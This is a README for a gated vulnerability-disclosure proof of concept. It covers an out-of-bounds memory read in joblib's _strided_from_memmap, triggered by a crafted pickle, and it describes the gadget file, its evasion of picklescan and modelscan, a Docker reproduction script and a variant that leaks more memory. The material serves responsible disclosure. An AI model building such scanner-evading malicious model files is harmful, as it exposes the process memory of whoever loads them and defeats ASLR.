heehee0219's picture
docs: README explaining gated PoC
e79fdca verified
|
Raw
History Blame Contribute Delete
3.07 kB
---
license: mit
tags:
- security-poc
- huntr-mfv
- joblib
- memory-disclosure
---
# joblib-strided-memmap-poc
> Demonstrator artifact for huntr MFV report β€” joblib `_strided_from_memmap`
> in `joblib/_memmapping_reducer.py:241-280` calls
> `numpy.lib.stride_tricks.as_strided(base, shape, strides)` with attacker-
> controlled `shape` / `strides` from the pickle stream and **no bounds check**.
> When `shape * stride > base.nbytes`, the returned view dereferences process
> memory pages adjacent to the file-backed mmap region.
>
> Bypasses picklescan + modelscan. Discloses heap chunk metadata, glibc
> pointers, env-var fragments, and PIE base β€” full ASLR defeat for the loader.
This repository is intentionally gated. Files are released only to
`protectai-bot` (huntr triage) for verification.
## Files
- `model.joblib` β€” 136-byte gadget pickle. Holds an `OOBLeak` instance whose
`__reduce__` calls `_strided_from_memmap` with `shape=(32,)`,
`strides=(256,)`, `total_buffer_len=4096`, and the absolute path
`/tmp/leak_backing.bin`. picklescan and modelscan both report this file as
clean.
- `leak_backing.bin` β€” 4 KiB of `0xAA`. Simulates a benign data file shipped
alongside a model. Read in full and then OOB-traversed by the gadget.
- `build-poc.py` β€” Optional. Re-builds `model.joblib` + `/tmp/leak_backing.bin`
from scratch and runs the full picklescan / modelscan / `joblib.load`
evidence chain. Use this if you want to verify the artifacts were not
tampered with.
## Reproduce locally (Docker)
```
docker run --rm -it -v "$PWD":/poc -w /poc python:3.12-slim bash -lc '
pip install -q joblib==1.5.3 numpy picklescan modelscan && \
cp leak_backing.bin /tmp/leak_backing.bin && \
picklescan -p model.joblib && \
modelscan -p model.joblib && \
python -c "
import joblib
arr = joblib.load(\"model.joblib\")
data = bytes(arr)
file_bytes = data[:16].hex()
oob_bytes = data[16:].hex()
print(\"first 16 (file content, expect aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa):\", file_bytes)
print(\"last 16 (process memory, varies per run):\", oob_bytes)
import sys; sys.exit(0 if any(b != 0xAA for b in data[16:]) else 1)
"
'
```
Expected output (the second hex string varies per run β€” that is the proof):
```
Infected files: 0 # picklescan clean
No issues found! πŸŽ‰ # modelscan clean
first 16 (file content, expect aa...): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
last 16 (process memory, varies per run): 008090... # OOB leak
```
For the deeper variant that recovers ~240 OOB bytes per load (env-var strings
and PIE pointers visible), edit `build-poc.py` to use `shape=(256,)` and
`strides=(256,)` and re-run.
Affected: joblib 1.5.3 (PyPI latest, 2025-12-15) and joblib 1.6.dev0 (repo
HEAD `5d1653a`, 2026-03-03 β€” only intervening commit since 1.5.3 is a
dependabot github-actions bump). Sink: `joblib/_memmapping_reducer.py:241-280`.
Distinct from CVE-2024-34997 (different file, class, sink, primitive class β€”
RCE vs. info-disclosure). See huntr submission for the full writeup.